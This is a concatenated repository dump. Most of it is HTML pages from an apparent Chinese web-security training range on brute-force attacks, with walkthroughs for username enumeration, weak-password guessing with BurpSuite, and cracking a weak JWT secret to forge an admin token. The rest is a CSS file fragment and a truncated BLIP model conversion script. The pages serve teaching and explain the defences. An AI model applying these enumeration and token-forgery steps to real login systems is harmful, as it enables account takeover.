gLTEuMzEwMTU2MywxLjMxMDE1NjMgLTAuMjcxMzQyMiwwIC0wLjUyNzg2MDUsLTAuMDc3MDkzIC0wLjczNjk2MjksLTAuMjE4MzU5NCAwLjIzOTQxMDQsMC4zMTMwODU5IDAuNjEyNjM2MywwLjUxODYwMzUgMS4wMzcyMDcxLDAuNTE4NjAzNSAwLjcyMzU3OTMsMCAxLjMxMDE1NjIsLTAuNTg2NTc3IDEuMzEwMTU2MiwtMS4zMTAxNTYzIDAsLTAuNDI0NTcwOCAtMC4yMDU1MTc1LC0wLjc5Nzc5NjYgLTAuNTE4NjAzNSwtMS4wMzcyMDcgeiBtIDMuMDg0MzI2MiwwIGMgMC4xNDEyNjY3LDAuMjA5MTAyNCAwLjIxODM1OTQsMC40NjU2MjA2IDAuMjE4MzU5NCwwLjczNjk2MjkgMCwwLjcyMzU3OTMgLTAuNTg2NTc3LDEuMzEwMTU2MyAtMS4zMTAxNTYzLDEuMzEwMTU2MyAtMC4yNzEzNDIzLDAgLTAuNTI3ODYwNSwtMC4wNzcwOTMgLTAuNzM2OTYyOSwtMC4yMTgzNTk0IDAuMjM5NDEwNCwwLjMxMzA4NTkgMC42MTI2MzYyLDAuNTE4NjAzNSAxLjAzNzIwNywwLjUxODYwMzUgMC43MjM1NzkzLDAgMS4zMTAxNTYzLC0wLjU4NjU3NyAxLjMxMDE1NjMsLTEuMzEwMTU2MyAwLC0wLjQyNDU3MDggLTAuMjA1NTE3NiwtMC43OTc3OTY2IC0wLjUxODYwMzUsLTEuMDM3MjA3IHoiIC8+ICA8L2c+PC9zdmc+);
background-repeat: no-repeat;
background-position: 100% 100%;
pointer-events: auto !important;
}
.os-host-rtl > .os-scrollbar-corner.os-scrollbar-corner-resize {
-webkit-transform: scale(-1, 1);
transform: scale(-1, 1);
}
.os-host-overflow {
overflow: hidden !important;
}
.os-host-overflow-x {
}
.os-host-overflow-y {
}
/*
THEMES:
*/
/* NONE THEME: */
.os-theme-none > .os-scrollbar-horizontal,
.os-theme-none > .os-scrollbar-vertical,
.os-theme-none > .os-scrollbar-corner {
display: none !important;
}
.os-theme-none > .os-scrollbar-corner-resize {
display: block !important;
min-width: 10px;
min-height: 10px;
}
/* DARK & LIGHT THEME: */
.os-theme-dark > .os-scrollbar-horizontal,
.os-theme-light > .os-scrollbar-horizontal {
right: 10px;
height: 10px;
}
.os-theme-dark > .os-scrollbar-vertical,
.os-theme-light > .os-scrollbar-vertical {
bottom: 10px;
width: 10px;
}
.os-theme-dark.os-host-rtl > .os-scrollbar-horizontal,
.os-theme-light.os-host-rtl > .os-scrollbar-horizontal {
left: 10px;
right: 0;
}
.os-theme-dark > .os-scrollbar-corner,
.os-theme-light > .os-scrollbar-corner {
height: 10px;
width: 10px;
}
.os-theme-dark > .os-scrollbar-corner,
.os-theme-light > .os-scrollbar-corner {
background-color: transparent;
}
.os-theme-dark > .os-scrollbar,
.os-theme-light > .os-scrollbar {
padding: 2px;
box-sizing: border-box;
background: transparent;
}
.os-theme-dark > .os-scrollbar.os-scrollbar-unusable,
.os-theme-light > .os-scrollbar.os-scrollbar-unusable {
background: transparent;
}
.os-theme-dark > .os-scrollbar > .os-scrollbar-track,
.os-theme-light > .os-scrollbar > .os-scrollbar-track {
background: transparent;
}
.os-theme-dark > .os-scrollbar-horizontal > .os-scrollbar-track > .os-scrollbar-handle,
.os-theme-light > .os-scrollbar-horizontal > .os-scrollbar-track > .os-scrollbar-handle {
min-width: 30px;
}
.os-theme-dark > .os-scrollbar-vertical > .os-scrollbar-track > .os-scrollbar-handle,
.os-theme-light > .os-scrollbar-vertical > .os-scrollbar-track > .os-scrollbar-handle {
min-height: 30px;
}
.os-theme-dark.os-host-transition > .os-scrollbar > .os-scrollbar-track > .os-scrollbar-handle,
.os-theme-light.os-host-transition > .os-scrollbar > .os-scrollbar-track > .os-scrollbar-handle {
-webkit-transition: background-color 0.3s;
transition: background-color 0.3s;
}
.os-theme-dark > .os-scrollbar > .os-scrollbar-track > .os-scrollbar-handle,
.os-theme-light > .os-scrollbar > .os-scrollbar-track > .os-scrollbar-handle,
.os-theme-dark > .os-scrollbar > .os-scrollbar-track,
.os-theme-light > .os-scrollbar > .os-scrollbar-track {
border-radius: 10px;
}
.os-theme-dark > .os-scrollbar > .os-scrollbar-track > .os-scrollbar-handle {
background: rgba(0, 0, 0, 0.4);
}
.os-theme-light > .os-scrollbar > .os-scrollbar-track > .os-scrollbar-handle {
background: rgba(255, 255, 255, 0.4);
}
.os-theme-dark > .os-scrollbar:hover > .os-scrollbar-track > .os-scrollbar-handle {
background: rgba(0, 0, 0, .55);
}
.os-theme-light > .os-scrollbar:hover > .os-scrollbar-track > .os-scrollbar-handle {
background: rgba(255, 255, 255, .55);
}
.os-theme-dark > .os-scrollbar > .os-scrollbar-track > .os-scrollbar-handle.active {
background: rgba(0, 0, 0, .7);
}
.os-theme-light > .os-scrollbar > .os-scrollbar-track > .os-scrollbar-handle.active {
background: rgba(255, 255, 255, .7);
}
.os-theme-dark > .os-scrollbar-horizontal .os-scrollbar-handle:before,
.os-theme-dark > .os-scrollbar-vertical .os-scrollbar-handle:before,
.os-theme-light > .os-scrollbar-horizontal .os-scrollbar-handle:before,
.os-theme-light > .os-scrollbar-vertical .os-scrollbar-handle:before {
content: '';
position: absolute;
left: 0;
right: 0;
top: 0;
bottom: 0;
display: block;
}
.os-theme-dark.os-host-scrollbar-horizontal-hidden > .os-scrollbar-horizontal .os-scrollbar-handle:before,
.os-theme-dark.os-host-scrollbar-vertical-hidden > .os-scrollbar-vertical .os-scrollbar-handle:before,
.os-theme-light.os-host-scrollbar-horizontal-hidden > .os-scrollbar-horizontal .os-scrollbar-handle:before,
.os-theme-light.os-host-scrollbar-vertical-hidden > .os-scrollbar-vertical .os-scrollbar-handle:before {
display: none;
}
.os-theme-dark > .os-scrollbar-horizontal .os-scrollbar-handle:before,
.os-theme-light > .os-scrollbar-horizontal .os-scrollbar-handle:before {
top: -6px;
bottom: -2px;
}
.os-theme-dark > .os-scrollbar-vertical .os-scrollbar-handle:before,
.os-theme-light > .os-scrollbar-vertical .os-scrollbar-handle:before {
left: -6px;
right: -2px;
}
.os-host-rtl.os-theme-dark > .os-scrollbar-vertical .os-scrollbar-handle:before,
.os-host-rtl.os-theme-light > .os-scrollbar-vertical .os-scrollbar-handle:before {
right: -6px;
left: -2px;
}
|
2740908911/Pilot-Web | 7,810 | pilot-client/pages/bruteforce/bf_username.html | <!DOCTYPE html>
<html lang="zh">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>暴力破解-用户名枚举</title>
<link rel="stylesheet" href="../../plugins/googleapis/fonts.css">
<link rel="stylesheet" href="../../plugins/fontawesome-free/css/all.min.css">
<link rel="stylesheet" href="../../plugins/overlayScrollbars/css/OverlayScrollbars.min.css">
<link rel="stylesheet" href="../../dist/css/adminlte.min.css">
</head>
<body class="hold-transition light-mode sidebar-mini layout-fixed layout-navbar-fixed layout-footer-fixed">
<div class="wrapper">
<nav id="Navbar" class="main-header navbar navbar-expand navbar-light"></nav>
<aside id="Container" class="main-sidebar sidebar-light-primary elevation-4"></aside>
<div class="content-wrapper" id="Wrapper">
<section class="content-header" id="WrapperHeader"></section>
<section class="content">
<div class="container-fluid">
<div id="notice"></div>
<div class="card card-primary card-outline">
<div class="card-header">
<h3 class="card-title"><strong>用户名枚举</strong></h3>
</div>
<div class="card-body">
<div class="card card-primary">
<div class="card-header">
<h3 class="card-title">后台登录</h3>
</div>
<form action="" onsubmit="return false" id="Login">
<div class="card-body">
<div class="form-group">
<label for="username">用户名</label>
<input type="text" class="form-control" name="username" id="username" placeholder="Enter username or phone number">
</div>
<div class="form-group">
<label for="password">密码</label>
<input type="password" class="form-control" name="password" id="password" placeholder="Password">
</div>
</div>
<div class="card-footer">
<button type="submit" id="loginButton" class="btn btn-primary" onclick="doLogin()">登录</button>
</div>
</form>
</div>
</div>
</div>
<div class="card card-warning card-outline" id="hint">
<div class="card-header">
<h3 class="card-title"><strong>思路提示</strong></h3>
</div>
<div class="card-body">
<div>
<ul><li>输入常见的用户名试试吧,看看系统中有多少账号?!</li></ul>
</div>
</div>
</div>
<div class="card card-success card-outline" id="writeUp">
<div class="card-header">
<h3 class="card-title"><strong>正确实现</strong></h3>
</div>
<div class="card-body">
<ol start=""><li><p><span>登录表单随意输入用户名和密码,使用BurpSuite抓住后台登录数据包:</span></p><p><div class="card col-lg-11 col-xl-11"><img src="assist/l1-1.png" referrerpolicy="no-referrer" alt="l1-1"></div></p></li><li><p><span>发现响应包提示”账号不存在“,修改</span><code>username</code><span>参数值为常见管理员账户:admin,并重新发包测试:</span></p><p><div class="card col-lg-11 col-xl-11"><img src="assist/l1-2.png" referrerpolicy="no-referrer" alt="l1-2"></div></p></li><li><p><span>发现响应包变化为“密码错误”,说明账号已存在系统内不用注册。将数据包发送至爆破模块测试:</span></p><p><div class="card col-lg-11 col-xl-11"><img src="assist/l1-3.png" referrerpolicy="no-referrer" alt="l1-3"></div></p></li><li><p><span>在</span><code>username</code><span>参数处添加变量,并设置payload为常见用户名和与系统相关的用户名,进行枚举测试:</span></p><p><div class="card col-lg-11 col-xl-11"><img src="assist/l1-4.png" referrerpolicy="no-referrer" alt="l1-4"></div></p></li><li><p><span>通过长度排序,发现存在用户账号</span><code>admin</code><span>和</span><code>fanqie</code><span>。</span></p><p><div class="card col-lg-11 col-xl-11"><img src="assist/l1-5.png" referrerpolicy="no-referrer" alt="l1-5"></div></p></li><li><p><span>在最下方发现存在账号</span><code>pilot</code><span>,且成功碰撞弱口令密码</span><code>123456</code><span>。</span></p></li><li><p><span>该处还可通过手机号登录,因此同时存在用户手机号枚举问题。</span></p></li></ol>
</div>
</div>
<div class="card card-info card-outline" id="showSource">
<div class="card-header">
<h3 class="card-title"><strong>源码解析</strong></h3>
</div>
<div class="card-body">
<ul style="margin-bottom: 0;"><li>注意登录错误时的响应包:应该统一错误回显,而不是区分账号不存在或密码错误:</li></ul>
<div class="card-body" style="padding-top: 0%; padding-bottom: 0%;"><object type="text/html" data="assist/sCode-1.html" width="100%" height="900px"></object></div>
</div>
</div>
<div class="card card-orange card-outline" id="repository">
<div class="card-header">
<h3 class="card-title"><strong>知识梳理</strong></h3>
</div>
<div class="card-body">
<div style="padding-top: 0%; padding-bottom: 0%;"><object type="text/html" data="assist/sum-1.html" width="100%" height="1170px"></object></div>
</div>
</div>
</div>
</section>
</div>
</div>
<aside class="control-sidebar control-sidebar-light">
<!-- Control sidebar content goes here -->
</aside>
<footer class="main-footer"></footer>
<script src="../../dist/js/templateHandle.js"></script>
<script>
setWrapperHeader("暴力破解", ["用户名枚举"]);
</script>
<script src="../../plugins/jquery/jquery.min.js"></script>
<script src="../../plugins/bootstrap/js/bootstrap.bundle.min.js"></script>
<script src="../../plugins/overlayScrollbars/js/jquery.overlayScrollbars.min.js"></script>
<script src="../../dist/js/adminlte.js"></script>
<script>
var ip = '{{ $IP }}';
console.log(ip);
function doLogin(){
let data = {
username: $("#username")[0].value,
password: $("#password")[0].value,
}
$.post({
url: `http://{ENV:NET_IP}:{ENV:FLASK_PORT}/api/bf/l1/login`,
data,
dataType: "json",
success(resp){
if(resp["status"] === "200"){
$("#notice")[0].innerHTML = generateNote("登录成功!欢迎, " + resp["username"]);
$("#loginButton").prop('disabled', true);
} else if(resp["status"] === "401"){
$("#notice")[0].innerHTML = generateNote("登录失败:" + resp["msg"]);
} else if(resp["status"] === "402"){
$("#notice")[0].innerHTML = generateNote("登录失败:" + resp["msg"]);
} else if(resp["status"] === "405"){
$("#notice")[0].innerHTML = generateNote("登录失败:" + resp["msg"]);
}
},
error: function(jqXHR, textStatus, errorThrown) {
// 添加错误处理
$("#notice")[0].innerHTML = generateNote("发生错误:" + textStatus + ", " + errorThrown);
}
})
}
</script>
</body>
</html>
|
2740908911/Pilot-Web | 7,560 | pilot-client/pages/bruteforce/bf_password.html | <!DOCTYPE html>
<html lang="zh">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>暴力破解-弱口令枚举</title>
<link rel="stylesheet" href="../../plugins/googleapis/fonts.css">
<link rel="stylesheet" href="../../plugins/fontawesome-free/css/all.min.css">
<link rel="stylesheet" href="../../plugins/overlayScrollbars/css/OverlayScrollbars.min.css">
<link rel="stylesheet" href="../../dist/css/adminlte.min.css">
</head>
<body class="hold-transition light-mode sidebar-mini layout-fixed layout-navbar-fixed layout-footer-fixed">
<div class="wrapper">
<nav id="Navbar" class="main-header navbar navbar-expand navbar-light"></nav>
<aside id="Container" class="main-sidebar sidebar-light-primary elevation-4"></aside>
<div class="content-wrapper" id="Wrapper">
<section class="content-header" id="WrapperHeader"></section>
<section class="content">
<div class="container-fluid">
<div id="notice"></div>
<div class="card card-primary card-outline">
<div class="card-header">
<h3 class="card-title"><strong>弱口令枚举</strong></h3>
</div>
<div class="card-body">
<div class="card card-primary">
<div class="card-header">
<h3 class="card-title">后台登录</h3>
</div>
<form action="" onsubmit="return false" id="Login">
<div class="card-body">
<div class="form-group">
<label for="username">用户名</label>
<input type="text" class="form-control" name="username" id="username" placeholder="Enter username or phone number">
</div>
<div class="form-group">
<label for="password">密码</label>
<input type="password" class="form-control" name="password" id="password" placeholder="Password">
</div>
</div>
<div class="card-footer">
<button type="submit" id="loginButton" class="btn btn-primary" onclick="doLogin()">登录</button>
</div>
</form>
</div>
</div>
</div>
<div class="card card-warning card-outline" id="hint">
<div class="card-header">
<h3 class="card-title"><strong>思路提示</strong></h3>
</div>
<div class="card-body">
<div>
<ul><li>用第一关中找到的账号尝试登录吧!密码都是弱口令喔~</li><br>
<li>系统中存在的三个账号:admin、pilot、fanqie</li></ul>
</div>
</div>
</div>
<div class="card card-success card-outline" id="writeUp">
<div class="card-header">
<h3 class="card-title"><strong>正确实现</strong></h3>
</div>
<div class="card-body">
<ol start=""><li><p><span>根据 </span><u><em><span>用户名枚举</span></em></u><span> 中获取的账号或手机号,对账号</span><code>admin</code><span>和</span><code>fanqie</code><span>进行弱口令枚举。</span></p></li><li><p><span>在登录处抓包接口,并发送至爆破模块,对password参数添加变量:</span></p><p><div class="card col-lg-11 col-xl-11"><img src="assist/l2-1.png" referrerpolicy="no-referrer" alt="l2-1"></div></p></li><li><p><span>设置Payload部分,导入您的常用密码字典,并取消Payload编码:</span></p><p><div class="card col-lg-11 col-xl-11"><img src="assist/l2-2.png" referrerpolicy="no-referrer" alt="l2-2"></div></p></li><li><p><span>通过长度排序,发现唯一不同的响应包,提示登录成功:</span></p><p><div class="card col-lg-11 col-xl-11"><img src="assist/l2-3.png" referrerpolicy="no-referrer" alt="l2-3"></div></p></li><li><p><span>所以</span><code>admin</code><span>账户密码为</span><code>admin</code><span>,对账号</span><code>fanqie</code><span>进行爆破:</span></p><p><div class="card col-lg-11 col-xl-11"><img src="assist/l2-4.png" referrerpolicy="no-referrer" alt="l2-4"></div></p></li><li><p><span>找到成功的响应包,账号</span><code>fanqie</code><span>的密码为</span><code>p@ssw0rd</code><span>。</span></p></li></ol>
</div>
</div>
<div class="card card-info card-outline" id="showSource">
<div class="card-header">
<h3 class="card-title"><strong>源码解析</strong></h3>
</div>
<div class="card-body">
<ul style="margin-bottom: 0;"><li>在登录代码中,没有对登录失败的行为做出任何限制(例如次数限制,安全的验证码等),此时若用户的口令较弱,<br>则会产生安全风险:</li></ul>
<div class="card-body" style="padding-top: 0%; padding-bottom: 0%;"><object type="text/html" data="assist/sCode-2.html" width="100%" height="560px"></object></div>
</div>
</div>
<div class="card card-orange card-outline" id="repository">
<div class="card-header">
<h3 class="card-title"><strong>知识梳理</strong></h3>
</div>
<div class="card-body">
<div style="padding-top: 0%; padding-bottom: 0%;"><object type="text/html" data="assist/sum-2.html" width="100%" height="1800px"></object></div>
</div>
</div>
</div>
</section>
</div>
</div>
<aside class="control-sidebar control-sidebar-light">
<!-- Control sidebar content goes here -->
</aside>
<footer class="main-footer"></footer>
<script src="../../dist/js/templateHandle.js"></script>
<script>
setWrapperHeader("暴力破解", ["弱口令枚举"]);
</script>
<script src="../../plugins/jquery/jquery.min.js"></script>
<script src="../../plugins/bootstrap/js/bootstrap.bundle.min.js"></script>
<script src="../../plugins/overlayScrollbars/js/jquery.overlayScrollbars.min.js"></script>
<script src="../../dist/js/adminlte.js"></script>
<script>
function doLogin(){
let data = {
username: $("#username")[0].value,
password: $("#password")[0].value,
}
$.post({
url: `http://{ENV:NET_IP}:{ENV:FLASK_PORT}/api/bf/l2/login`,
data,
dataType: "json",
success(resp){
if(resp["status"] === "200"){
$("#notice")[0].innerHTML = generateNote("登录成功!欢迎, " + resp["username"]);
$("#loginButton").prop('disabled', true);
} else if(resp["status"] === "405"){
$("#notice")[0].innerHTML = generateNote("登录失败:" + resp["msg"]);
} else if(resp["status"] === "401"){
$("#notice")[0].innerHTML = generateNote("登录失败:" + resp["msg"]);
}
},
error: function(jqXHR, textStatus, errorThrown) {
// 添加错误处理
$("#notice")[0].innerHTML = generateNote("发生错误:" + textStatus + ", " + errorThrown);
}
})
}
</script>
</body>
</html>
|
2740908911/Pilot-Web | 3,000 | pilot-client/pages/bruteforce/index.html | <!DOCTYPE html>
<html lang="zh">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>暴力破解-概述</title>
<link rel="stylesheet" href="../../plugins/googleapis/fonts.css">
<link rel="stylesheet" href="../../plugins/fontawesome-free/css/all.min.css">
<link rel="stylesheet" href="../../plugins/overlayScrollbars/css/OverlayScrollbars.min.css">
<link rel="stylesheet" href="../../dist/css/adminlte.min.css">
</head>
<body class="hold-transition light-mode sidebar-mini layout-fixed layout-navbar-fixed layout-footer-fixed">
<div class="wrapper">
<nav id="Navbar" class="main-header navbar navbar-expand navbar-light"></nav>
<aside id="Container" class="main-sidebar sidebar-light-primary elevation-4"></aside>
<div class="content-wrapper" id="Wrapper">
<section class="content-header" id="WrapperHeader"></section>
<section class="content">
<div class="container-fluid">
<div class="card card-primary card-outline">
<div class="card-header">
<h3 class="card-title"><strong>概述</strong></h3>
</div>
<div class="card-body">
<div class="markdown prose w-full break-words dark:prose-invert light">
<p>暴力破解攻击(Brute Force Attack)是一种常见的密码攻击方法,这种攻击方式通过尝试所有可能的密码组合来找到正确的密码。通常,攻击者会使用自动化的脚本或工具来进行暴力破解攻击,从而加快密码破解的速度。当密码策略较弱时,这种攻击尤为有效。</p>
<p>除了密码可爆破外,用户名和Token也是遭受暴力破解攻击的重灾区,但他们本质上与密码爆破无异,都是通过大批量对系统中存在信息进行匹配测试,来判断数据是否真实有效。</p>
<p>以爆破密码为例,暴力破解攻击通常由以下步骤实现:</p>
<ol>
<li><p>
枚举可能的密码:攻击者首先会生成一份可能的密码字典。这份字典可能基于目标用户的个人信息(如生日、名字、身份证等),也可能包含网络常用密码列表或全范围的字符组合。</p>
</li>
<li><p>
尝试所有可能的密码组合:使用自动化工具,逐个尝试所有可能的密码组合,直到找到正确的密码为止。</p>
</li>
<li><p>
破解成功:一旦攻击者找到了正确的密码,就可以使用该密码访问目标账户,窃取敏感信息或者进行其他恶意行为。</p>
</li>
</ol>
</div>
</div>
</div>
</div>
</section>
</div>
<aside class="control-sidebar control-sidebar-light">
<!-- Control sidebar content goes here -->
</aside>
<footer class="main-footer"></footer>
<script src="../../dist/js/templateHandle.js"></script>
<script>
setWrapperHeader("暴力破解", ["概述"]);
</script>
<script src="../../plugins/jquery/jquery.min.js"></script>
<script src="../../plugins/bootstrap/js/bootstrap.bundle.min.js"></script>
<script src="../../plugins/overlayScrollbars/js/jquery.overlayScrollbars.min.js"></script>
<script src="../../dist/js/adminlte.js"></script>
</body>
</html> |
2740908911/Pilot-Web | 8,382 | pilot-client/pages/bruteforce/bf_token.html | <!DOCTYPE html>
<html lang="zh">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>暴力破解-Token伪造</title>
<link rel="stylesheet" href="../../plugins/googleapis/fonts.css">
<link rel="stylesheet" href="../../plugins/fontawesome-free/css/all.min.css">
<link rel="stylesheet" href="../../plugins/overlayScrollbars/css/OverlayScrollbars.min.css">
<link rel="stylesheet" href="../../dist/css/adminlte.min.css">
</head>
<body class="hold-transition light-mode sidebar-mini layout-fixed layout-navbar-fixed layout-footer-fixed">
<div class="wrapper">
<nav id="Navbar" class="main-header navbar navbar-expand navbar-light"></nav>
<aside id="Container" class="main-sidebar sidebar-light-primary elevation-4"></aside>
<div class="content-wrapper" id="Wrapper">
<section class="content-header" id="WrapperHeader"></section>
<section class="content">
<div class="container-fluid">
<div id="notice"></div>
<div class="card card-primary card-outline">
<div class="card-header">
<h3 class="card-title"><strong>Token伪造</strong></h3>
</div>
<div class="card-body">
<div class="card card-primary">
<div class="card-header">
<h3 class="card-title">后台登录</h3>
</div>
<form action="" onsubmit="return false" id="Login">
<div class="card-body">
<div class="form-group">
<label for="username">用户名</label>
<input type="text" class="form-control" name="username" id="username" placeholder="Enter username or phone number">
</div>
<div class="form-group">
<label for="password">密码</label>
<input type="password" class="form-control" name="password" id="password" placeholder="Password">
</div>
</div>
<div class="card-footer">
<button type="submit" id="loginButton" class="btn btn-primary" onclick="doLogin()">登录</button>
<button type="button" class="btn btn-primary" onclick="verifyIdentity()">身份验证</button>
</div>
</form>
</div>
</div>
</div>
<div class="card card-warning card-outline" id="hint">
<div class="card-header">
<h3 class="card-title"><strong>思路提示</strong></h3>
</div>
<div class="card-body">
<div>
<ul><li>去了解一下什么是JSON Web Token(JWT),和他可能存在的安全风险吧!</li></ul>
</div>
</div>
</div>
<div class="card card-success card-outline" id="writeUp">
<div class="card-header">
<h3 class="card-title"><strong>正确实现</strong></h3>
</div>
<div class="card-body">
<ol start=""><li><p><span>使用任意账号登录,并抓包。这里以账号密码</span><code>pilot/123456</code><span>为例:</span></p><p><div class="card col-lg-11 col-xl-11"><img src="assist/l3-1.png" referrerpolicy="no-referrer" alt="l3-1"></div></p></li><li><p><span>在响应包中获得Token值。返回WEB页面,点击</span><strong><span>身份认证</span></strong><span>按钮并抓包:</span></p><p><div class="card col-lg-11 col-xl-11"><img src="assist/l3-2.png" referrerpolicy="no-referrer" alt="l3-2"></div></p></li><li><p><span>可以成功验证登录账号身份为</span><code>pilot</code><span>。</span></p></li><li><p><span>修改参数</span><code>username</code><span>为管理员账号</span><code>admin</code><span>,尝试伪造身份:</span></p><p><div class="card col-lg-11 col-xl-11"><img src="assist/l3-3.png" referrerpolicy="no-referrer" alt="l3-3"></div></p></li><li><p><span>提示Token过期或错误,说明Token信息与</span><code>username</code><span>参数传入的值不匹配,无法验证</span><code>admin</code><span>身份。</span></p></li><li><p><span>复制Token值至Token爆破工具</span><a href="https://github.com/brendan-rius/c-*jwt*-*cracker*"><span>jwtcracker</span></a><span>,尝试爆破密钥:</span></p><p><div class="card col-lg-11 col-xl-11"><img src="assist/l3-4.png" referrerpolicy="no-referrer" alt="l3-4"></div></p></li><li><p><span>获得Token密钥为“1”,通过</span><a href="https://jwt.io/"><span>JWT官方网站</span></a><span>伪造Token:</span></p><p><div class="card col-lg-11 col-xl-11"><img src="assist/l3-5.png" referrerpolicy="no-referrer" alt="l3-5"></div></p></li><li><p><span>复制修改后的Token,替换身份认证API中的Token值,再次验证:</span></p><p><div class="card col-lg-11 col-xl-11"><img src="assist/l3-6.png" referrerpolicy="no-referrer" alt="l3-6"></div></p><p><div class="card col-lg-11 col-xl-11"><img src="assist/l3-7.png" referrerpolicy="no-referrer" alt="l3-7"></div></p></li><li><p><span>通过修改Token,成功伪造身份为</span><code>admin</code><span>。</span></p></li></ol>
</div>
</div>
<div class="card card-info card-outline" id="showSource">
<div class="card-header">
<h3 class="card-title"><strong>源码解析</strong></h3>
</div>
<div class="card-body">
<ul style="margin-bottom: 0;"><li>下面是Token模块代码,注意该模块定义的密钥难度过低,容易遭受爆破:</li></ul>
<div class="card-body" style="padding-top: 0%; padding-bottom: 0%;"><object type="text/html" data="assist/sCode-3.html" width="100%" height="1090px"></object></div>
</div>
</div>
<div class="card card-orange card-outline" id="repository">
<div class="card-header">
<h3 class="card-title"><strong>知识梳理</strong></h3>
</div>
<div class="card-body">
<div style="padding-top: 0%; padding-bottom: 0%;"><object type="text/html" data="assist/sum-3.html" width="100%" height="1525px"></object></div>
</div>
</div>
</div>
</section>
</div>
<aside class="control-sidebar control-sidebar-dark">
<!-- Control sidebar content goes here -->
</aside>
<footer class="main-footer"></footer>
<script src="../../dist/js/templateHandle.js"></script>
<script>
setWrapperHeader("暴力破解", ["Token伪造"]);
</script>
<script src="../../plugins/jquery/jquery.min.js"></script>
<script src="../../plugins/bootstrap/js/bootstrap.bundle.min.js"></script>
<script src="../../plugins/overlayScrollbars/js/jquery.overlayScrollbars.min.js"></script>
<script src="../../dist/js/adminlte.js"></script>
<script>
var loginData = {
username: null,
token: null
};
function doLogin(){
let data = {
username: $("#username")[0].value,
password: $("#password")[0].value,
}
$.post({
url: `http://{ENV:NET_IP}:{ENV:FLASK_PORT}/api/bf/l3/login`,
data,
dataType: "json",
success(resp){
if(resp["status"] === "200"){
loginData.token = resp["token"]; // 从响应中获取token
loginData.username = resp["username"]; // 从响应中获取用户名
$("#notice")[0].innerHTML = generateNote("登录成功!欢迎, " + resp["username"]);
$("#loginButton").prop('disabled', true);
} else if(resp["status"] === "405"){
$("#notice")[0].innerHTML = generateNote("登录失败:" + resp["msg"]);
} else if(resp["status"] === "401"){
$("#notice")[0].innerHTML = generateNote("登录失败:" + resp["msg"]);
}
},
error: function(jqXHR, textStatus, errorThrown) {
// 添加错误处理
$("#notice")[0].innerHTML = generateNote("发生错误:" + textStatus + ", " + errorThrown);
}
})
}
function verifyIdentity(){
if (loginData.token && loginData.username) {
$.ajax({
url: `http://{ENV:NET_IP}:{ENV:FLASK_PORT}/api/bf/l3/verify`,
type: 'POST',
headers: {
'Authorization': loginData.token
},
data: { 'username': loginData.username },
dataType: "json",
success(resp){
if (resp["status"] === "200") {
alert("验证成功:当前登录用户是 " + resp["username"]);
} else if (resp["status"] === "403") {
alert("Token过期或错误,请重新登录");
} else if (resp["status"] === "405") {
alert("缺少参数,请先登录");
}
},
error: function(jqXHR, textStatus, errorThrown) {
// 通常的错误处理
alert("验证请求失败:" + textStatus + ", " + errorThrown);
}
});
} else {
alert("缺少参数,请先登录");
}
}
</script>
</body>
</html>
|
27182812/ChatGLM-LLaMA-chinese-insturct | 6,980 | src/transformers/models/blip/convert_blip_original_pytorch_to_hf.py | # coding=utf-8
# Copyright 2022 The HuggingFace Inc. team. All rights reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
import argparse
import re
import requests
import torch
# git clone https://github.com/salesforce/BLIP.git
from models.blip import blip_decoder
from models.blip_itm import blip_itm
from models.blip_vqa import blip_vqa
from PIL import Image
from torchvision import transforms
from torchvision.transforms.functional import InterpolationMode
from transformers import (
BertTokenizer,
BlipConfig,
BlipForConditionalGeneration,
BlipForImageTextRetrieval,
BlipForQuestionAnswering,
)
def load_demo_image(image_size, device):
img_url = "https://storage.googleapis.com/sfr-vision-language-research/BLIP/demo.jpg"
raw_image = Image.open(requests.get(img_url, stream=True).raw).convert("RGB")
transform = transforms.Compose(
[
transforms.Resize((image_size, image_size), interpolation=InterpolationMode.BICUBIC),
transforms.ToTensor(),
transforms.Normalize((0.48145466, 0.4578275, 0.40821073), (0.26862954, 0.26130258, 0.27577711)),
]
)
image = transform(raw_image).unsqueeze(0).to(device)
return image
def rename_key(key):
if "visual_encoder" in key:
key = re.sub("visual_encoder*", "vision_model.encoder", key)
if "blocks" in key:
key = re.sub(r"blocks", "layers", key)
if "attn" in key:
key = re.sub(r"attn", "self_attn", key)
if "norm1" in key:
key = re.sub(r"norm1", "layer_norm1", key)
if "norm2" in key:
key = re.sub(r"norm2", "layer_norm2", key)
if "encoder.norm" in key:
key = re.sub(r"encoder.norm", "post_layernorm", key)
if "encoder.patch_embed.proj" in key:
key = re.sub(r"encoder.patch_embed.proj", "embeddings.patch_embedding", key)
if "encoder.pos_embed" in key:
key = re.sub(r"encoder.pos_embed", "embeddings.position_embedding", key)
if "encoder.cls_token" in key:
key = re.sub(r"encoder.cls_token", "embeddings.class_embedding", key)
if "self_attn" in key:
key = re.sub(r"self_attn.proj", "self_attn.projection", key)
return key
@torch.no_grad()
def convert_blip_checkpoint(pytorch_dump_folder_path, config_path=None):
"""
Copy/paste/tweak model's weights to transformers design.
"""
if config_path is not None:
config = BlipConfig.from_pretrained(config_path)
else:
config = BlipConfig(projection_dim=512, text_config={}, vision_config={})
hf_model = BlipForConditionalGeneration(config).eval()
model_url = "https://storage.googleapis.com/sfr-vision-language-research/BLIP/models/model_base_capfilt_large.pth"
pt_model = blip_decoder(pretrained=model_url, image_size=384, vit="base")
pt_model = pt_model.eval()
modified_state_dict = pt_model.state_dict()
for key in modified_state_dict.copy():
value = modified_state_dict.pop(key)
renamed_key = rename_key(key)
modified_state_dict[renamed_key] = value
hf_model.load_state_dict(modified_state_dict)
image_size = 384
image = load_demo_image(image_size=image_size, device="cpu")
tokenizer = BertTokenizer.from_pretrained("bert-base-uncased")
input_ids = tokenizer(["a picture of"]).input_ids
out = hf_model.generate(image, input_ids)
assert out[0].tolist() == [30522, 1037, 3861, 1997, 1037, 2450, 3564, 2006, 1996, 3509, 2007, 2014, 3899, 102]
out = hf_model.generate(image)
